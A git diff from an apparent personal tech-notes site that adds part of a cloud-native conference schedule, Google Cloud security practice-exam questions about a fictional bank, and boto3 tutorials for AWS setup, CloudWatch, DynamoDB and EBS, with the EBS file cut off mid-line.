⚡ Lightning Talk: Troubleshooting Envoy K8s Containers with Ksniff - Mark Campbell-Vincent, Hashicorp | [link](https://tbd.com) | +| W194AB | | ⚡ Lightning Talk: Multi-Party Learning Using Homomorphic Encryption with Kubeflow Pipelines - Aakanksha Duggal, Red Hat | [link](https://tbd.com) | +| W192AB | | ⚡ Lightning Talk: Level up from Namespace Isolation with vCluster - Rich Burroughs, Loft Labs | [link](https://tbd.com) | +| 5:00pm CST | +| W176ABC | | ⚡ Lightning Talk: Unveiling DPDK Application Telemetry: A Path to Traffic Visibility and Monitoring - Jianzhu Zhang, Red Hat | [link](https://tbd.com) | +| W179AB | | Netreap: Bridging the Gap Between Cilium and Nomad - Dan Norris, Cosmonic | [link](https://tbd.com) | +| TBA | | Networking Reception hosted by Norwest Venture Partners | [link](https://tbd.com) | +| 5:05pm CST | +| W178AB | | ⚡ Lightning Talk: Secret Word of the Day: Platforms! - Whitney Lee, VMware | [link](https://tbd.com) | +| W196ABC | x | ⚡ Lightning Talk: Backtage Beyond Engineering Teams: Can We Deliver Value to Other "Personas" Across the Organization? - Olivier Liechti, Avalia Systems | [link](https://tbd.com) | +| W193AB | | ⚡ Lightning Talk: Interoperable CD for Telecom: Paving the Way to Seamless Cloud-Native Integration - Andrea Frittoli, IBM | [link](https://tbd.com) | +| W471AB | | ⚡ Lightning Talk: Using Decentralized File System to Optimize ML/AI Workloads on Kubernetes - Shawn Sun, Alluxio | [link](https://tbd.com) | +| W175ABC | | ⚡ Lightning Talk: Leveraging Envoy's New Filter Chain Matchers for Advanced TLS Routing - Ashish Banerjee, Solo.io | [link](https://tbd.com) | +| W194AB | x | ⚡ Lightning Talk: Multiplayer Machine Learning with Metaflow, OpenAI Whisper and Kubernetes - Shrinand Javadekar, Outerbounds, Inc. | [link](https://tbd.com) | +| W192AB | x | ⚡ Lightning Talk: How We Host 1,800 Customer Instances on 8 K8s Clusters - Joanna Wyganowska, Octopus Deploy | [link](https://tbd.com) | +| W180 | | Closing Remarks, Program Committee Members - Lin Sun, Solo.io & Liam Randall, Cosmonic | [link](https://tbd.com) | +| 5:10pm CST | +| W192AB | | Closing Remarks - Mohan Atreya, Rafay Systems | [link](https://tbd.com) | +| W176ABC | | Closing Remarks, Program Committee Members - Austin Parker, Honeycomb.io: Eduardo Silva, Calyptia: Richard Hartmann, Grafana Labs | [link](https://tbd.com) | +| 5:15pm CST | +| W196ABC | x | ⚡ Lightning Talk: Contributing to Backstage: From Zero to Value - Jamie Klassen, VMware | [link](https://tbd.com) | +| W194AB | | ⚡ Lightning Talk: Optimize the Ray Schedule and Autoscaling on Kubernetes Cloud: A Heterogeneous Task Perspective - Liang Yan, DigitalOcean | [link](https://tbd.com) | +| W471AB | | Closing Remarks - Melissa Logan, Constantia.io | [link](https://tbd.com) | +| 5:20pm CST | +| W178AB | | Closing Remarks - Evan Anderson, Stacklok | [link](https://tbd.com) | +| W185ABC | | Closing Remarks - Christian Hernadez, Akuity | [link](https://tbd.com) | +| W187ABC | | Closing Remarks - Dan Garfield, Codefresh | [link](https://tbd.com) | +| W184ABCD | | Closing Remarks - Meghan Murphy, Intuit | [link](https://tbd.com) | +| W196ABC | | Closing Remarks, Program Committee Members - Waldir Montoya, VMware and Helen Greul, Spotify | [link](https://tbd.com) | +| W175ABC | | Closing Remarks - Program Committee Member - Matt Turner, Tetrate | [link](https://tbd.com) | +| W194AB | | Closing Remarks, Program Committee Members - Ricardo Rocha, CERN & Yuzhui Liu, Bloomberg | [link](https://tbd.com) | +| 5:25pm CST | +| W179AB | | Closing Remarks - Liz Rice, Isolvalent & Laurent Bernaille, Datadog | [link](https://tbd.com) | +| W193AB | | Closing Remarks - Lucina Stricko, Vulk Coop & Mary Parsons, DISH Wireless | [link](https://tbd.com) | +| W470AB | | Closing Remarks - Faseela K, Ericsson Software Technology & Zack Butcher, Tetrate | [link](https://tbd.com) | +| 5:30pm CST | | Evening Reception | [link](https://tbd.com) | diff --git a/_posts/00LearningPath/sss.md b/_posts/00LearningPath/sss.md new file mode 100644 index 00000000000..678c315a525 --- /dev/null +++ b/_posts/00LearningPath/sss.md @@ -0,0 +1,129 @@ + + + + + + + +- Cymbal Bank has hired a data analyst team to analyze scanned copies of loan applications. Because this is an external team, Cymbal Bank `does not want to share the name, gender, phone number, or credit card numbers` listed in the scanned copies. You have been tasked with `hiding this PII information while minimizing latency`. What should you do? + + - Use the Cloud Vision API to perform text extraction from scanned images. Redact the text using the Cloud Natural Language API with regular expressions. + + - Use the Cloud Data Loss Prevention (DLP) API to make redact image requests. Provide your project ID, built-in infoTypes, and the scanned copies when you make the requests. + + - Use the Cloud Vision API to perform optical code recognition (OCR) from scanned images. Redact the text using the Cloud Data Loss Prevention (DLP) API with regular expressions. + + - Use the Cloud Vision API to perform optical code recognition (OCR) from scanned images. Redact the text using the Cloud Natural Language API with regular expressions. + + +- Cymbal Bank needs to statistically predict the days customers delay the payments for loan repayments and credit card repayments. Cymbal Bank `does not want to share the exact dates` a customer has defaulted or made a payment with data analysts. Additionally, you need to `hide the customer name and the customer type, which could be corporate or retail`. How do you `provide the appropriate information to the data analysts`? + + - Generalize all dates to year and month with date shifting. Use a predefined infoType for customer name. Use a custom infoType for customer type with a custom dictionary. + + - Generalize all dates to year and month with date shifting. Use a predefined infoType for customer name. Use a custom infoType for customer type with regular expression. + + - Generalize all dates to year and month with bucketing. Use the built-in infoType for customer name. Use a custom infoType for customer type with regular expression. + + - Generalize all dates to year and month with bucketing. Use the built-in infoType for customer name. Use a custom infoType for customer type with a custom dictionary. + + + +- Cymbal Bank stores customer information in a BigQuery table called ‘Information,’ which belongs to the dataset ‘Customers.’ Various departments of Cymbal Bank, including loan, credit card, and trading, access the information table. Although the data source remains the same, `each department needs to read and analyze separate customers and customer-attributes`. You want a `cost-effective way to configure departmental access to BigQuery to provide optimal performance`. What should you do? + + - Create separate datasets for each department. Create authorized functions in each dataset to perform required aggregations. Write transformed data to new tables for each department separately. Provide the bigquery.dataViewer role to each department’s required users. + + - Create an authorized dataset in BigQuery’s Explorer panel. Write Customers’ table metadata into a JSON file, and edit the file to add each department’s Project ID and Dataset ID. Provide the bigquery.user role to each department’s required users. + + - Create separate datasets for each department. Create views for each dataset separately. Authorize these views to access the source dataset. Share the datasets with departments. Provide the bigquery.dataViewer role to each department’s required users. + + - Secure data with classification. Open the Data Catalog Taxonomies page in the Google Cloud Console. Create policy tags for required columns and rows. Provide the bigquery.user role to each department’s required users. Provide policy tags access to each department separately. + + + +- Your colleague at Cymbal Bank is a cloud security engineer. + - She sketches out the following solution to manage her team’s access to application security keys, `What (if any) step does not follow Google Cloud’s best practices for secret management`? + - 1 - Create 2 projects + - Project A: Cloud Storage to store secrets + - Project B: Cloud KMS to manage encryption keys + - 2 - Store each secret individually in Cloud Storage + - 3 - Rotate secrets and encryption keys regularly + - 4 - Protect each bucket by using encryption with Cloud KMS + + - It is not recommended to use Cloud KMS keys to encrypt buckets. Default management is safer and more reliable. + + - Your colleague should cluster her secrets together in Cloud Storage. That way that can be easily accessed by applications. + + - Your colleague should have created one project for the Cloud Storage bucket and one to store the KMS encryption keys. Two projects create an unnecessary burden of IAM management. + + - Your colleague’s proposal follows Google Cloud’s best practices. + + + +- Cymbal Bank has a Cloud SQL instance that must be shared with an external agency. The agency’s developers will be `assigned roles and permissions through a Google Group in Identity and Access Management (IAM)`. The external agency is on an annual contract and will `require a connection string, username, and password to connect to the database`. How would you `configure the group’s access`? + + - Use Cloud Key Management Service. Use the destination IP address and Port attributes to provide access for developers at the external agency. Remove the IAM access after one year and rotate the shared keys. Add cloudkms.cryptoKeyEncryptorDecryptor role for the group that contains the external developers. + + - Use Secret Manager for the connection string and username, and use Cloud Key Management Service for the password. Use tags to set the expiry period to the timestamp one year from now. Add secretmanager.secretVersionManager and secretmanager.secretAccessor roles for the group that contains external developers. + + - Use Secret Manager. Use the resource attribute to set a key-value pair with key as duration and values as expiry period one year from now. Add secretmanager.viewer role for the group that contains external developers. + + - Use Secret Manager. Use the duration attribute to set the expiry period to one year. Add the secretmanager.secretAccessor role for the group that contains external developers. + + + + +- Cymbal Bank wants to deploy an n-tier web application. The frontend must be supported by an App Engine deployment, an API with a Compute Engine instance, and Cloud SQL for a MySQL database. This `application is only supported during working hours, App Engine is disabled, and Compute Engine is stopped`. How would you `enable the infrastructure to access the database`? + + - Use Project metadata to read the current machine’s IP address, and use a startup script to add access to Cloud SQL. Store Cloud SQL’s connection string in Cloud Key Management Service, and store the password in Secret Manager. Store the Username in Project metadata. + + - Use VM metadata to read the current machine’s IP address, and use a gcloud command to add access to Cloud SQL. Store Cloud SQL’s connection string and password in Cloud Key Management Service. Store the Username in Project metadata. + + - Use Project metadata to read the current machine’s IP address and use a gcloud command to add access to Cloud SQL. Store Cloud SQL’s connection string and username in Cloud Key Management Service, and store the password in Secret Manager. + + - Use VM metadata to read the current machine’s IP address and use a startup script to add access to Cloud SQL. Store Cloud SQL’s connection string, username, and password in Secret Manager. + + + + + + +- Cymbal Bank calculates employee incentives on a monthly basis for the sales department and on a quarterly basis for the marketing department. The incentives are released with the next month’s salary. Employee’s performance documents are stored as spreadsheets, which are retained for at least one year for audit. You want to configure the most cost-effective storage for this scenario. What should you do? + + - Import the spreadsheets to Cloud SQL, and create separate tables for Sales and Marketing. For Table Expiration, set 365 days for both tables. Use stored procedures to calculate incentives. Use App Engine cron jobs to run stored procedures monthly for Sales and quarterly for Marketing. + + - Upload the spreadsheets to Cloud Storage. Select the Nearline storage class for the sales department and Coldline storage for the marketing department. Use object lifecycle management rules to set the storage class to Archival after 365 days. Process the data on BigQuery using jobs that run monthly for Sales and quarterly for Marketing. + + - Import the spreadsheets to BigQuery, and create separate tables for Sales and Marketing. Set table expiry rules to 365 days for both tables. Create jobs scheduled to run every quarter for Marketing and every month for Sales. + + - Import the spreadsheets into Cloud Storage and create NoSQL tables. Use App Engine cron jobs to run monthly for Sales and quarterly for Marketing. Use a separate job to delete the data after 1 year. + +- Cymbal Bank uses Google Kubernetes Engine (GKE) to deploy its Docker containers. You want to encrypt the boot disk for a cluster running a custom image so that the key rotation is controlled by the Bank. GKE clusters will also generate up to 1024 randomized characters that will be used with the keys with Docker containers. What steps would you take to apply the encryption settings with a dedicated hardware security layer? + + - Create a new GKE cluster with customer-managed encryption and HSM enabled. Deploy the containers to this cluster. Delete the old GKE cluster. Use Cloud HSM to generate random bytes and provide an additional layer of security. + + - Create a new key ring using Cloud Key Management Service. Extract this key to a certificate. Use the kubectl command to update the Kubernetes configuration. Validate using MAC digital signatures, and use a startup script to generate random bytes. + + - Create a new key ring using Cloud Key Management Service. Extract this key to a certificate. Use the Google Cloud Console to update the Kubernetes configuration. Validate using MAC digital signatures, and use a startup script to generate random bytes. + + - In the Google Cloud console, navigate to Google Kubernetes Engine. Select your cluster and the boot node inside the cluster. Enable customer-managed encryption. Use Cloud HSM to generate random bytes and provide an additional layer of security. + +- You have recently joined Cymbal Bank as a cloud security engineer. You want to encrypt a connection from a user on the internet to a VM in your development project. This is at the layer 3/4 (network/transport) level and you want to set up user configurable encryption for the in transit network traffic. What architecture choice best suits this use case? + + - Set up an IPsec tunnel. This will allow you to create L3/L4 encryption between a user and a VM instance in her project. + + - Set up transport layer security (TLS). This will encrypt data sent to the Google Front End, and in turn, your VM. This is not setup by default. + + - Set up a managed SSL certificate by configuring a load balancer. By default, this will encrypt at the L3/L4 layer. + + - Set up app layer transport security (ALTS). This is a mutual authentication and transport encryption system developed by Google. This is configured for L3/L4 network connections. + +- Cymbal Bank needs to migrate existing loan processing applications to Google Cloud. These applications transform confidential financial information. All the data should be encrypted at all stages, including sharing between sockets and RAM. An integrity test should also be performed every time these instances boot. You need to use Cymbal Bank’s encryption keys to configure the Compute Engine instances. What should you do? + + - Create a Confidential VM instance with Customer-Managed Encryption Keys. In Cloud Logging, collect all logs for earlyBootReportEvent. + + - Create a Shielded VM instance with Customer-Managed Encryption Keys. In Cloud Logging, collect all logs for sevLaunchAttestationReportEvent. + + - Create a Confidential VM instance with Customer-Supplied Encryption Keys. In Cloud Logging, collect all logs for sevLaunchAttestationReportEvent. + + - Create a Shielded VM instance with Customer-Supplied Encryption Keys. In Cloud Logging, collect all logs for earlyBootReportEvent. + Coursera Honor Code Learn more diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-AWS-API.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-AWS-API.md new file mode 100644 index 00000000000..e69de29bb2d diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-0setup.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-0setup.md new file mode 100644 index 00000000000..175c573b158 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-0setup.md @@ -0,0 +1,146 @@ +--- +title: AWS - boto3 - setup +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [Boto3](#boto3) + - [Installation](#installation) + - [Configuration](#configuration) + - [Using Boto3](#using-boto3) + - [Boto3 reference](#boto3-reference) + +--- + +# Boto3 + + +## Installation + +```bash +pip install boto3 +pip3 install boto3 botostubs +pip install boto3==1.0.0 + + +``` + + +## Configuration + +Before you can begin using Boto3, set up authentication credentials. + +```bash +# can create the credential fileself. +# By default, its location is at ~/.aws/credentials: +$ touch ~/.aws/credentials +# [default] +# aws_access_key_id = YOUR_ACCESS_KEY_ID +# aws_secret_access_key = YOUR_SECRET_ACCESS_KEY +# region = YOUR_PREFERRED_REGION + + + +# If you have the AWS CLI installed, then you can use it to configure credentials file: +$ aws configure +$ aws configure --profile produser +# AWS Access Key ID [None]: aa +# AWS Secret Access Key [None]: bb/2Zp9Utk/h3yCo8nvbEXAMPLEKEY +# Default region name [None]: us-east-1 +# Default output format [None]: json + + + + +# Alternatively, you can pass a region_name when creating clients and resources. + +# This sets up credentials for the default profile as well as a default region to use when creating connections. +``` + +--- + +## Using Boto3 + + +```py +# import it and tell it what service you are going to use: + +import boto3 + +# use Amazon S3 +s3 = boto3.resource('s3') + +# Now that you have an s3 resource, you can make requests and process responses from the service. +# The following uses the buckets collection to print out all bucket names: +# Print out bucket names +for bucket in s3.buckets.all(): + print(bucket.name) + + +# It's also easy to upload and download binary data. +# For example, the following uploads a new file to S3. +# It assumes that the bucket my-bucket already exists: +# Upload a new file +data = open('test.jpg', 'rb') +s3.Bucket('my-bucket').put_object(Key='test.jpg', Body=data) +``` + + +Client Versus Resource + +- Client: low-level service access +- Resource: higher-level object-oriented service access + + + +--- + +## Boto3 reference + +```py +class boto3.NullHandler(level=0) +# Initializes the instance - basically setting the formatter to None and the filter list to empty. +emit(record) + + +boto3.client(*args, **kwargs) +# Create a low-level service client by name using the default session. + + +boto3.resource(*args, **kwargs) +# Create a resource service client by name using the default session. + + +boto3.set_stream_logger(name='boto3', level=10, format_string=None) +# Add a stream handler for the given name and level to the logging module. +# By default, this logs all boto3 messages to stdout. + +>>> import boto3 +>>> boto3.set_stream_logger('boto3.resources', logging.INFO) +# For debugging purposes a good choice is to set the stream logger to '' which is equivalent to saying "log everything". + +# Warning: Be aware that when logging anything from 'botocore' the full wire trace will appear in your logs. If your payloads contain sensitive data this should not be used in production. + +boto3.setup_default_session(**kwargs) +# Set up a default session, passing through any parameters to the session constructor. There is no need to call this unless you wish to pass custom parameters, because a default session will be created for you. +``` + + + +--- + +ref +- [Boto3 reference](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/core/boto3.html) +- [blog](https://zoph.me/posts/2019-06-10-ebs-default-encryption/) +- [boto3 auto script blog](https://dev.to/akloya) + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-CloudWatch.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-CloudWatch.md new file mode 100644 index 00000000000..f5ab45ce3f4 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-CloudWatch.md @@ -0,0 +1,153 @@ +--- +title: AWS - boto3 - boto3.client('cloudwatch') CloudWatch +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [Amazon CloudWatch `boto3.client('cloudwatch')`](#amazon-cloudwatch-boto3clientcloudwatch) + - [example](#example) + - [AWS CloudWatch Log Group Retention to 60](#aws-cloudwatch-log-group-retention-to-60) + +--- + + +# Amazon CloudWatch `boto3.client('cloudwatch')` + +```py +cloudwatch = boto3.client('cloudwatch') + +cloudwatch.get_paginator() # paginator +for response in paginator.paginate(StateValue='INSUFFICIENT_DATA'): + response['MetricAlarms'] + +cloudwatch.put_metric_alarm() +cloudwatch.delete_alarms() + +``` + + + + +```py + +# -------------------------- Creating alarms in Amazon CloudWatch -------------------------- +cloudwatch = boto3.client('cloudwatch') + + +# -------------------------- List alarms of insufficient data through the pagination interface -------------------------- +# -------------------------- cloudwatch.get_paginator('describe_alarms') +paginator = cloudwatch.get_paginator('describe_alarms') +for response in paginator.paginate(StateValue='INSUFFICIENT_DATA'): + print(response['MetricAlarms']) + + +# -------------------------- Create/update alarm for a CloudWatch Metric alarm -------------------------- +# -------------------------- put_metric_alarm. +# creates an alarm: +# the alarm state is immediately set to INSUFFICIENT_DATA. +# The alarm is evaluated and its state is set appropriately. +# Any actions associated with the state are then executed. +# update an existing alarm +# its state is left unchanged, but the update completely overwrites the previous configuration of the alarm. +cloudwatch.put_metric_alarm( + AlarmName='Web_Server_CPU_Utilization', + ComparisonOperator='GreaterThanThreshold', + EvaluationPeriods=1, + MetricName='CPUUtilization', + Namespace='AWS/EC2', + Period=60, + Statistic='Average', + Threshold=70.0, + ActionsEnabled=False, + AlarmDescription='Alarm when server CPU exceeds 70%', + Dimensions=[ + { + 'Name': 'InstanceId', + 'Value': 'INSTANCE_ID' + }, + ], + Unit='Seconds' +) + + +# -------------------------- Delete an alarm -------------------------- +cloudwatch.delete_alarms( + AlarmNames=['Web_Server_CPU_Utilization'], +) + +``` + + +--- + + + +## example + + +### AWS CloudWatch Log Group Retention to 60 + +pleaze go to the follow link for the original code +ref: [AWS CloudWatch Log Group Retention to 60](https://dev.to/akloya/aws-cloudwatch-log-group-retention-3l47) + + +CloudWatch organises logs in a log group and when a new log group is created, it’s retention period is set to Never expire by default (be retained forever) + + +to changing the retention days to 60 + +```py +import boto3 + +# set the number of retention days +retention_days = 60 + +# list the regions you are interested to run this script on +regions=['us-east-1'] + +for region in regions: + logclient = boto3.client('logs',region) + response = logclient.describe_log_groups() + nextToken = response.get('nextToken', None) + retention = response['logGroups'] + + while (nextToken is not None): + response = logclient.describe_log_groups(nextToken=nextToken) + nextToken = response.get('nextToken', None) + retention = retention + response['logGroups'] + + for group in retention: + if 'retentionInDays' in group.keys(): + print(group['logGroupName'], group['retentionInDays'],region) + else: + print("Retention Not found for ",group['logGroupName'],region) + setretention = logclient.put_retention_policy( + logGroupName = group['logGroupName'], + retentionInDays = retention_days + ) + print(setretention) +``` + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-DynamoDB.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-DynamoDB.md new file mode 100644 index 00000000000..b46a866c317 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-DynamoDB.md @@ -0,0 +1,373 @@ +--- +title: AWS - boto3 - boto3.resource('dynamodb') - DynamoDB +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [Amazon DynamoDB `boto3.resource('dynamodb')`](#amazon-dynamodb-boto3resourcedynamodb) + +--- + +# Amazon DynamoDB `boto3.resource('dynamodb')` + +By following this guide, you will learn how to use the `DynamoDB.ServiceResource` and `DynamoDB.Table` resources in order to create tables, write items to tables, modify existing items, retrieve items, and query/filter the items in the table. + +```py +dynamodb = boto3.resource('dynamodb') +table = dynamodb.create_table( + TableName='users', + KeySchema=[ + { + 'AttributeName': 'username', + 'KeyType': 'HASH' + }, + { + 'AttributeName': 'last_name', + 'KeyType': 'RANGE' + } + ], + AttributeDefinitions=[ + { + 'AttributeName': 'username', + 'AttributeType': 'S' + }, + { + 'AttributeName': 'last_name', + 'AttributeType': 'S' + }, + ], + ProvisionedThroughput={ + 'ReadCapacityUnits': 5, + 'WriteCapacityUnits': 5 + } +) + +table = dynamodb.Table('users') +table.item_count +table.creation_date_time + +table.put_item(Item={'a':'x', 'b':'y', 'c':'z'}) + +table.update_item( + Key={ + 'username': 'janedoe', + 'last_name': 'Doe' + }, + UpdateExpression='SET age = :val1', + ExpressionAttributeValues={ + ':val1': 26 + } +) + +response = table.get_item(Key={'a':'x', 'b':'y'}) +item = response['Item'] + + +with table.batch_writer() as batch: + batch.put_item(Item={'a':'x', 'b':'y', 'c':'z'}) + batch.delete_item(Key={'partition_key': 'a','sort_key': 'b'}) + +with table.batch_writer(overwrite_by_pkeys=['partition_key', 'sort_key']) as batch: + batch.put_item(Item={'a':'x', 'b':'y', 'c':'z'}) + batch.put_item(Item={'a':'x', 'b':'y', 'c':'z'}) + +from boto3.dynamodb.conditions import Key, Attr +response = table.query(KeyConditionExpression = Key('username').eq('johndoe')) +response = table.scan(FilterExpression = Attr('a').eq('x')) +response = table.scan(FilterExpression = Attr('a').eq('x') & Attr('a').begins_with('x')) +response = table.scan(FilterExpression = Attr('a.aa').eq('x')) + +table.delete() +``` + + +```py +# Get the service resource. +dynamodb = boto3.resource('dynamodb') + +# -------------------------- Creating a new table -------------------------- +# -------------------------- DynamoDB.ServiceResource.create_table() +# Create the DynamoDB table. +table = dynamodb.create_table( + TableName='users', + KeySchema=[ + { + 'AttributeName': 'username', + 'KeyType': 'HASH' + }, + { + 'AttributeName': 'last_name', + 'KeyType': 'RANGE' + } + ], + AttributeDefinitions=[ + { + 'AttributeName': 'username', + 'AttributeType': 'S' + }, + { + 'AttributeName': 'last_name', + 'AttributeType': 'S' + }, + ], + ProvisionedThroughput={ + 'ReadCapacityUnits': 5, + 'WriteCapacityUnits': 5 + } +) + +# Wait until the table exists. +table.meta.client.get_waiter('table_exists').wait(TableName='users') + +# Print out some data about the table. +print(table.item_count) + +# Expected output: +# 0 + +# This creates a table named users that respectively has the hash and range primary keys username and last_name. +# This method will return a DynamoDB.Table resource to call additional methods on the created table. + + + + +# -------------------------- Using an existing table -------------------------- +# create a DynamoDB.Table resource from an existing table: +# Instantiate a table resource object without actually creating a DynamoDB table. +# Note that the attributes of this table +# are lazy-loaded: a request is not made nor are the attribute +# values populated until the attributes on the table resource are accessed or its load() method is called. +table = dynamodb.Table('users') + +# Print out some data about the table. +# This will cause a request to be made to DynamoDB and its attribute +# values will be set based on the response. +print(table.creation_date_time) + +# Expected output +# 2015-06-26 12:42:45.149000-07:00 + + + + + + +# -------------------------- Creating a new item +# -------------------------- DynamoDB.Table.put_item() +# Valid DynamoDB types: all of the valid types that can be used for an item +table.put_item( + Item={ + 'username': 'janedoe', + 'first_name': 'Jane', + 'last_name': 'Doe', + 'age': 25, + 'account_type': 'standard_user', + } +) + + + + +# -------------------------- Getting an item +# -------------------------- DynamoDB.Table.get_item() +response = table.get_item( + Key = { + 'username': 'janedoe', + 'last_name': 'Doe' + } +) +item = response['Item'] +print(item) +# Expected output: +# {u'username': u'janedoe', +# u'first_name': u'Jane', +# u'last_name': u'Doe', +# u'account_type': u'standard_user', +# u'age': Decimal('25')} + + + + +# -------------------------- Updating an item +# -------------------------- DynamoDB.Table.update_item() +table.update_item( + Key={ + 'username': 'janedoe', + 'last_name': 'Doe' + }, + UpdateExpression='SET age = :val1', + ExpressionAttributeValues={ + ':val1': 26 + } +) + + + + +# -------------------------- Deleting an item +# -------------------------- DynamoDB.Table.delete_item() +table.delete_item( + Key={ + 'username': 'janedoe', + 'last_name': 'Doe' + } +) + + + + +# -------------------------- Batch writing +# loading a lot of data at a time, to both speed up the process and reduce the number of write requests made to the service. +# -------------------------- DynamoDB.Table.batch_writer() +# This method returns a handle to a batch_writer object that will automatically handle buffering and sending items in batches. +# In addition, the batch_writer will also automatically handle any unprocessed items and resend them as needed. +# All you need to do is call put_item for any items you want to add, and delete_item for any items you want to delete: +with table.batch_writer() as batch: + batch.put_item( + Item={ + 'account_type': 'standard_user', + 'username': 'johndoe', + 'first_name': 'John', + 'last_name': 'Doe', + 'age': 25, + 'address': { + 'road': '1 Jefferson Street', + 'city': 'Los Angeles', + 'state': 'CA', + 'zipcode': 90001 + } + } + ) + batch.put_item( + Item={ + 'account_type': 'super_user', + 'username': 'janedoering', + 'first_name': 'Jane', + 'last_name': 'Doering', + 'age': 40, + 'address': { + 'road': '2 Washington Avenue', + 'city': 'Seattle', + 'state': 'WA', + 'zipcode': 98109 + } + } + ) +# The batch writer is even able to handle a very large amount of writes to the table. +with table.batch_writer() as batch: + for i in range(50): + batch.put_item( + Item={ + 'account_type': 'anonymous', + 'username': 'user' + str(i), + 'first_name': 'unknown', + 'last_name': 'unknown' + } + ) + +# The batch writer can help to de-duplicate request by specifying overwrite_by_pkeys=['partition_key', 'sort_key'] +# if you want to bypass no duplication limitation of single batch write request as botocore.exceptions.ClientError: An error occurred (ValidationException) when calling the BatchWriteItem operation: Provided list of item keys contains duplicates. +# It will drop request items in the buffer if their primary keys(composite) values are the same as newly added one, as eventually consistent with streams of individual put/delete operations on the same item. + +with table.batch_writer(overwrite_by_pkeys=['partition_key', 'sort_key']) as batch: + batch.put_item( + Item={ + 'partition_key': 'p1', + 'sort_key': 's2', + 'other': '111', + } + ) + batch.delete_item( + Key={ + 'partition_key': 'p1', + 'sort_key': 's2' + } + ) + batch.put_item( + Item={ + 'partition_key': 'p1', + 'sort_key': 's2', + 'other': '444', + } + ) + +# after de-duplicate: +batch.put_item( + Item={ + 'partition_key': 'p1', + 'sort_key': 's1', + 'other': '222', + } +) +batch.put_item( + Item={ + 'partition_key': 'p1', + 'sort_key': 's1', + 'other': '444', + } +) + + + + + + +# -------------------------- Querying and scanning the items in the table using +# -------------------------- DynamoDB.Table.query() or DynamoDB.Table.scan() +# To add conditions to scanning and querying the table +# import the boto3.dynamodb.conditions.Key and boto3.dynamodb.conditions.Attr] classes. +# boto3.dynamodb.conditions.Key: used when the condition is related to the key of the item. +# boto3.dynamodb.conditions.Attr: used when the condition is related to an attribute of the item: +from boto3.dynamodb.conditions import Key, Attr + +# queries for all of the users whose username key equals johndoe: +response = table.query(KeyConditionExpression = Key('username').eq('johndoe')) +items = response['Items'] +print(items) + +# Expected output: +# [{u'username': u'johndoe', +# u'first_name': u'John', +# u'last_name': u'Doe', +# u'account_type': u'standard_user', +# u'age': Decimal('25'), +# u'address': {u'city': u'Los Angeles', +# u'state': u'CA', +# u'zipcode': Decimal('90001'), +# u'road': u'1 Jefferson Street'}}] + + +# scan the table based on attributes of the items. +# scans for all the users whose age is less than 27: +response = table.scan(FilterExpression = Attr('age').lt(27)) +items = response['Items'] +print(items) + + +# chain conditions together using the logical operators: & (and), | (or), and ~ (not). +# scans for all users whose first_name starts with J and account_type is super_user: +response = table.scan(FilterExpression = Attr('first_name').begins_with('J') & Attr('account_type').eq('super_user')) +items = response['Items'] +print(items) + + + +# scan based on conditions of a nested attribute. +# For example this scans for all users whose state in their address is CA: +response = table.scan(FilterExpression=Attr('address.state').eq('CA')) +items = response['Items'] +print(items) + + + +# -------------------------- Deleting a table +# -------------------------- DynamoDB.Table.delete() +table.delete() +``` + + + +--- diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-EBS.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-EBS.md new file mode 100644 index 00000000000..9ffb291cb08 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-EBS.md @@ -0,0 +1,691 @@ +--- +title: AWS - boto3 - EBS +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [EBS](#ebs) + - [Client](#client) + - [can_paginate(_operation_name_)](#can_paginateoperation_name) + - [complete_snapshot(kwargs_)](#complete_snapshotkwargs_) + - [generate_presigned_url(_ClientMethod_, _Params=None_, _ExpiresIn=3600_, _HttpMethod=None_)](#generate_presigned_urlclientmethod-paramsnone-expiresin3600-httpmethodnone) + - [get_paginator(_operation_name_)](#get_paginatoroperation_name) + - [get_snapshot_block(kwargs_)](#get_snapshot_blockkwargs_) + - [get_waiter(_waiter_name_)](#get_waiterwaiter_name) + - [list_changed_blocks(kwargs_)](#list_changed_blockskwargs_) + - [list_snapshot_blocks(kwargs_)](#list_snapshot_blockskwargs_) + - [put_snapshot_block(kwargs_)](#put_snapshot_blockkwargs_) + - [start_snapshot(kwargs_)](#start_snapshotkwargs_) + - [example](#example) + - [Enable EBS Default Encryption](#enable-ebs-default-encryption) + +--- + + +# EBS + + +* EBS + * Client + * Paginators + + +--- + + +## Client + +`class EBS.Client` +- A `low-level client` representing Amazon Elastic Block Store (EBS) +- use the `Amazon Elastic Block Store (Amazon EBS) direct APIs` to create EBS snapshots, write data directly to snapshots, read data on snapshots, and identify the differences or changes between two snapshots. +- If you’re an independent software vendor (ISV) who offers backup services for Amazon EBS, the EBS direct APIs make it more efficient and cost-effective to track incremental changes on EBS volumes through snapshots. This can be done without having to create new volumes from snapshots, and then use Amazon Elastic Compute Cloud (Amazon EC2) instances to compare the differences. +- create `incremental snapshots` directly from data on-premises into EBS volumes and the cloud to use for quick disaster recovery. +- With the ability to write and read snapshots, write on-premises data to an EBS snapshot during a disaster. Then after recovery, restore it back to AWS or on-premises from the snapshot. no longer need to build and maintain complex mechanisms to copy data to and from Amazon EBS. + +```py +import boto3 + +ebsclient = 